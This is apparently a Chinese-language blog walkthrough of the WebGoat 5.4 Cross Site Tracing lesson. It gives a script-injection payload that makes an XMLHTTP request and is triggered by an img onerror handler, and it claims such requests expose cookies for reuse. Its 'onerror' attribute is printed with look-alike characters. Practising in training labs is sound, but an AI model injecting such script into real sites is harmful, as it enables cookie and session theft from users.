Cross Site Tracing (XST) Attacks(跨站跟蹤攻擊)練習詳細步驟(WebGoat5.4)

由於對web編程不是很熟悉,謹以此文分享給學習WebGoat但是web編程底子不好的小夥伴。


HTTP的Method中有專爲調試Web Server連接的(TRACE/TRACK),但正式上線運行的WebServer如果支持Trace/Track方式,則一定存在跨站攻擊漏洞。RFC 2616 for HTTP 如下定義 TRACE 方法,“此方法用於調用已請求消息的遠程、應用層回送(loopback)。請求的接收方是源服務器或第一個代理或接收請求中零(0)Max-Forwards 值的網關。”


練習1:(IE 9)

(由於IE7以後open不支持TRACE方法(見參考資料1),此處使用GET方法)

使用ActiveXObject("Microsoft.XMLHTTP")對象,open一個已經登錄的URL(其他網站),GET回來的信息中包含敏感的Cookie等信息,然後這些信息你就可以使用了~


我的練習過程:

1. 創建一個.html文件,填寫一個空的HTML標籤“<html></html>”內容到該文件;

2. 查找ajax相應的基礎知識(ActiveXObject,Microsoft.XMLHTTP,open),拼出來一個JS函數

//獲取百度的響應信息

<SCRIPT type="text/javascript">
function getbaidu(){
xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP");
xmlHttpReq.open("GET", "http://www.baidu.com", false);
xmlHttpReq.send();
alert(xmlHttpReq.status);
}
</SCRIPT>

3. 接下來就是考慮怎麼觸發這個函數了

方式比較多,一種是手工觸發,弄個按鈕或其他控件,點擊一下觸發這個js函數;我採用了自動觸發,借用了img標籤中src屬性自動加載的機制觸發,代碼:  <img src="hahah.com" οnerrοr="getbaidu()" width="1" height="1"/>

4. 將這兩部分代碼拼一塊,填寫到html文件中,在IE瀏覽器打開該html文件,調試,直到能正確運行(彈出一個狀態碼)

.html文件中完整代碼示意:

<HTML>
<SCRIPT type="text/javascript">
function xssTRACE(){
xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP");
xmlHttpReq.open("GET", "http://www.baidu.com", false);
xmlHttpReq.send();
alert(xmlHttpReq.status);
}
</SCRIPT>


<img src="hahah.com" οnerrοr="xssTRACE()"/>


</HTML>

5. 輸入組合後的信息(去除換行、空格等的短代碼)到webgoat文本框“Enter your three digit access code:”,提交

會自動觸發getbaidu()執行,彈出該請求的返回狀態碼,完成練習。

短代碼:

<SCRIPT type="text/javascript">function xssTRACE(){ xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP"); xmlHttpReq.open("GET", "http://www.baidu.com", false); xmlHttpReq.send(); alert(xmlHttpReq.status);}</SCRIPT><img src="hahah.com" οnerrοr="xssTRACE()" width="1" height="1"/>




參考資料:

1. https://msdn.microsoft.com/library/ms536648(v=vs.85).aspx


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章